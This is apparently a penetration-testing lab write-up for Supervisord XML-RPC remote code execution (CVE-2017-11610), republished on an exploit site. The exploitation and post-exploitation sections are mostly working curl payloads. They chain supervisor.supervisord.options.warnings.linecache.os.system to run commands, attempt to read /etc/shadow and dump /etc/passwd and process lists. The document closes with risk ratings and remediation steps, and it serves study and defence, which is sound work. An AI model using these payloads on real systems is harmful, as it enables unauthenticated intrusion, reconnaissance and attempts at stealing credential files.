## https://sploitus.com/exploit?id=8E4D5048-63AE-52FA-96BC-5DCAE1B1421E
# LAB 3 โ Supervisord XML-RPC Remote Code Execution (CVE-2017-11610)
---
# I. SYSTEM ANALYSIS
### Step 1 โ Identifying Attack Surface from the Docker Environment
Starting with what is running in the lab environment. With no prior information โ I list all active containers:
```bash
docker ps -a
```
```
CONTAINER ID IMAGE PORTS NAMES
3180809a679c p1/lab03:latest 0.0.0.0:9001->9001/tcp project1-lab03-1
7f88bd32936e p1/lab02:latest 0.0.0.0:7001->7001/tcp project1-lab02-1
ca9682ab168b p1/lab01:latest 0.0.0.0:8001->8080/tcp project1-lab01-1
...
```
Lab03 exposes **a single port: `9001`**.
This is the first key point โ not 80, not 443. `9001` is not a standard web app port.
**Thinking:** *Why 9001? What service uses this port by default? Need to probe directly to find out.*
---
### Step 2 โ Fingerprinting the Service Running on Port 9001
No assumptions. Curl directly to read the response:
```bash
curl -i http://192.168.3.137:9001/
```
```http
HTTP/1.1 200 OK
Content-Length: 1209
Server: Medusa/1.12
Pragma: no-cache
Cache-Control: no-cache
Date: Wed, 27 May 2026 16:20:10 GMT
Content-Type: text/html
Supervisor Status
...
...
No programs to manage
...
Supervisor 3.3.2
```
**Response Analysis:**
| Observation | Meaning |
|---|---|
| `Server: Medusa/1.12` | This is Supervisord's internal HTTP server, not Nginx/Apache |
| `Supervisor Status` | Confirmed as the Supervisord management UI |
| `3.3.2` | Clear, specific version |
| No login form, no auth prompt | Access **requires no authentication** |
**Thinking:** *Supervisord is a process manager on Linux โ why is its web UI exposed publicly? By default, supervisord has `[inet_http_server]` disabled. Someone enabled it but failed to set a password. This is a misconfiguration.*
*But a UI misconfiguration alone isn't enough to cause major damage โ the question is: what else does Supervisord expose besides this web UI?*
---
### Step 3 โ Exploring the XML-RPC Protocol
Reading Supervisord's documentation, this daemon communicates with clients (`supervisorctl`) via a proprietary protocol called **XML-RPC**, exposed at the `/RPC2` endpoint.
This is the real danger โ not the web UI, but the **remote process control interface**.
Check if that endpoint is alive:
```bash
curl -X POST -H "Content-Type: text/xml" \
-d 'supervisor.getState' \
http://192.168.3.137:9001/RPC2
```
```xml
statecode1
statenameRUNNING
```
**Thinking:** *The `/RPC2` endpoint is alive and returns normal results. More importantly: it doesn't ask for credentials, no token, no session. Anyone calling into this is accepted.*
*Next question: How does the XML-RPC handler process the method name? Are there any limitations?*
---
### Step 4 โ Analyzing Method Name Processing in XML-RPC
Supervisord registers a handler named `supervisor` to receive commands like `supervisor.getState`, `supervisor.stopProcess`...
When the server receives a method name in the string format `a.b.c`, it **splits by the dot and performs recursive lookups**:
```python
# Pseudo-code of the internal lookup mechanism within supervisord
def dispatch(method_name, params):
parts = method_name.split('.') # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # retrieve the "supervisor" handler
for attr in parts[1:]:
obj = getattr(obj, attr) # recursive getattr call
return obj(*params) # invoke the result
```
**Vulnerability point:** `getattr` lacks a whitelist โ it will traverse **any attribute** existing on the Python object, including imported modules.
**Thinking:** *If there's no filter, then from the registered `supervisor` object, we can climb deeper into the daemon's internal objects. The Supervisord object (`supervisord`) resides inside that handler. `supervisord` has an `options` object. `options` has imported the `warnings` module in Python. When `warnings` is loaded, it pulls in `linecache`. `linecache` imports `os`. `os` contains `system`.*
*Try this chain: `supervisor.supervisord.options.warnings.linecache.os.system`*
---
# II. EXPLOITATION
### Step 1 โ Understanding XML-RPC Request Structure to Write Payloads Manually
No Metasploit, no off-the-shelf exploit tools. The goal is to build the payload ourselves from our understanding of the protocol.
XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only **3 fixed components**:
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 1. XML version declaration โ
โ 2. Name of the function to call โ โ
โ 3. Parameters passed in โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
Standard Template:
```xml
FUNCTION_NAME
VALUE
```
> **Thinking:** *Simple structure โ just replace `` and ``. If the function requires no parameters, leave `` empty. If the function requires a string, wrap it in `...`. This isn't secret knowledge โ reading the XML-RPC RFC gets you this.*
Application: call `supervisor.getState` (no parameters) using `curl`:
```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.getState' \
http://192.168.3.137:9001/RPC2
```
```xml
statenameRUNNING
statecode1
```
The server responds normally with `statename = RUNNING`. The protocol is functional, and the endpoint accepts requests without authentication.
---
### Step 2 โ Confirming Namespace Traversal Works in Practice
In the analysis phase, we determined that the recursive `getattr` mechanism has no whitelist. Now, we need to **prove this on a live system**.
Method of verification: call a deeper method name than usual โ if the server has a filter, it will return an `"unknown method"` error. If it is not filtered, it will return a different error (because the target object is not callable):
```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.supervisord.options' \
http://192.168.3.137:9001/RPC2
```
```html
Error response
Error response
Error code 500.
Message: Internal Server Error.
```
> **Thinking:** *The server returns an HTTP 500 Internal Server Error โ NOT an XML-RPC fault "unknown method". This is the key point: if a whitelist were present, the method name `supervisor.supervisord.options` would be rejected immediately at the dispatcher layer with an "unknown method" error. But 500 means the server successfully traversed through `supervisor` โ `supervisord` โ `options` via `getattr`, and then attempted to call `options()` as a function โ since `options` is a configuration object and not callable, it crashed.*
>
> *Conclusion: Namespace traversal works. Wherever the server is told to go, `getattr` follows without restriction.*
---
### Step 3 โ Finding the Path to the Command Execution Function
Traversal works โ now we need to find an attribute chain **ending with a callable function** capable of executing system commands. In Python, that is `os.system()`.
Problem: no shell on the server, cannot read source code directly. We must **infer from Python internals**:
- Supervisord is written in Python โ the `options` object is a massive class, which is bound to import many modules
- In Python, an imported module becomes an attribute of its parent module
- The `warnings` module is highly common (most Python apps import it directly or indirectly)
- `warnings` imports `linecache` (to read source code and display warning context)
- `linecache` imports `os`
- `os` has the `system()` function
Confirm this dependency chain on the local machine before trying on the target:
```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# โ True
python3 -c "import linecache; print('os' in dir(linecache))"
# โ True
python3 -c "import os; print(callable(os.system))"
# โ True
```
> **Thinking:** *Import dependency chain confirmed locally: `warnings` โ `linecache` โ `os` โ `system`. This isn't guesswork โ this is a real dependency in the CPython stdlib. If supervisord imports `warnings` (or any module that pulls in `warnings`), we can reach `os.system` from the `options` object.*
Complete traversal chain:
```
supervisor โ supervisord โ options โ warnings โ linecache โ os โ system
โ โ โ โ โ โ โ
handler daemon obj config Python mod Python mod stdlib callable!
```
---
### Step 4 โ Constructing the RCE Payload and Execution
`os.system()` takes **1 string parameter** (the shell command) and returns an **exit code**. It does NOT return stdout โ the output is printed to the server console, not sent back in the XML-RPC response.
> **Thinking:** *No direct output visible โ we need to redirect the output to a file. `/tmp/` is a directory writable by all users on Linux. Run `id > /tmp/rce_proof.txt` then read that file to confirm.*
Applying the XML-RPC template understood in Step 1, replace `` with the traversal chain and pass the shell command inside ``:
```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' \
http://192.168.3.137:9001/RPC2
```
```xml
0
```
Exit code `0` โ shell command executed successfully. Read the output:
```bash
docker exec project1-lab03-1 cat /tmp/rce_proof.txt
```
```
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
```
**RCE Confirmed.** The `id` command executed inside the container. The process runs under the `nobody` user (uid=65534).
---
### Step 5 โ Identifying Privilege Limits
With RCE achieved, the next question is: what privileges do we have, and where are the limits?
> **Thinking:** *`nobody` is the lowest-privileged user on Linux. But how "low" specifically? Try reading `/etc/shadow` โ a file readable only by root and the `shadow` group. If readable โ the process is actually running as root. If blocked โ privileges are truly restricted.*
```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' \
http://192.168.3.137:9001/RPC2
```
```xml
256
```
Exit code `256` (= shell exit code 1 ร 256, due to `os.system` wrapping). Read the output:
```bash
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
```
```
cat: /etc/shadow: Permission denied
```
Check file permissions:
```
-rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow
```
`nobody` does not belong to the `shadow` group โ cannot read. **Privileges are truly restricted** โ a clear difference from Lab 1 (Struts2) which ran as root and allowed unrestricted reading.
---
# III. POST-EXPLOITATION
### Verifying Execution Privileges
From the `id` output:
```
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
```
The supervisord process runs under the **`nobody`** user โ the lowest-privileged user on a Unix system.
Reason: the container's entrypoint calls:
```bash
supervisord --user nobody -c /usr/local/etc/supervisord.conf
```
This is an **important distinction compared to Lab 1 (Struts2)** โ in Lab 1, the process ran as root, letting us read `/etc/shadow`. Here, trying:
```python
server.supervisor.supervisord.options.warnings.linecache.os.system(
'cat /etc/shadow > /tmp/shadow_dump.txt 2>&1'
)
```
```
Exit code: 256 # exit code 1 from shell, wrapped as 256 by os.system()
```
```bash
cat /tmp/shadow_dump.txt
# โ cat: /etc/shadow: Permission denied
```
Check file permissions:
```
-rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow
```
`nobody` does not belong to the `shadow` group, cannot read. **Privileges are restricted.**
---
### Gathering System Information
Although we cannot read shadow, we still have RCE with `nobody` privileges. Collect what is permitted:
**Running process list:**
```python
server.supervisor.supervisord.options.warnings.linecache.os.system(
'ps aux > /tmp/ps_output.txt'
)
```
```
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 5492 3196 ? Ss 16:19 0:00 /bin/bash /usr/local/bin/docker-entrypoint.sh
nobody 10 0.0 0.0 27136 17836 ? Ss 16:19 0:00 /usr/local/bin/python /usr/local/bin/supervisord ...
nobody 64 0.0 0.0 2392 1576 ? S 16:26 0:00 sh -c ps aux > /tmp/ps_output.txt
```
Observation: PID 1 is `/bin/bash` running under **root** โ meaning the container's shell entrypoint is root. Only supervisord has its privileges demoted to `nobody`.
**User information on the system:**
```python
server.supervisor.supervisord.options.warnings.linecache.os.system(
'cat /etc/passwd > /tmp/passwd_dump.txt'
)
```
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
Minimal system โ only default users, no additional service users.
---
### Remarks on Reverse Shell
A reverse shell in this environment **cannot be established** because the container runs inside a Docker bridge network (NAT) โ the container cannot initiate outbound connections back to the LAN. However, this does not diminish the severity of the vulnerability: **RCE is confirmed, and arbitrary commands can be executed inside the system.**
---
# IV. RISK ASSESSMENT & RECOMMENDATIONS
### Risk Assessment
| **Criterion** | **Assessment** | **Details** |
|---|---|---|
| **CVSS Score** | **9.8 (Critical)** | Unauthenticated RCE |
| **Authentication** | Not required | Default config lacks username/password |
| **Complexity** | Extremely low | A simple Python command, no tools required |
| **Privileges Gained** | `nobody` (low) | Restricted from reading sensitive files, but can still execute commands, manipulate files in `/tmp`, and pivot internally |
| **Internal Network Pivoting** | Feasible | `nobody` can still scan and connect to other containers in the same bridge network |
### Comparison with Previous Labs
| | Lab 1 โ Struts2 | Lab 3 โ Supervisord |
|---|---|---|
| **Trigger** | Content-Type parsing error โ OGNL eval | XML-RPC method traversal โ `os.system` |
| **Auth** | Not required | Not required |
| **Privilege** | `root` โ full control | `nobody` โ restricted |
| **Impact** | Read `/etc/shadow`, full control | Restricted RCE, requires further escalation |
### Remediation Recommendations
**Urgent Priority:**
1. **Upgrade Supervisord** to version `>= 3.3.3`. The patched version completely eliminates the recursive namespace lookup mechanism in XML-RPC.
2. **Enable authentication for `[inet_http_server]`** in `supervisord.conf`:
```ini
[inet_http_server]
port=0.0.0.0:9001
username=admin
password=
```
**High Priority:**
3. **Restrict binding address:** Only bind on `127.0.0.1` instead of `0.0.0.0` if remote management is not required:
```ini
[inet_http_server]
port=127.0.0.1:9001
```
4. **Firewall:** If exposing publicly is absolutely necessary, use firewall rules to allow only administrative IPs to connect to port 9001.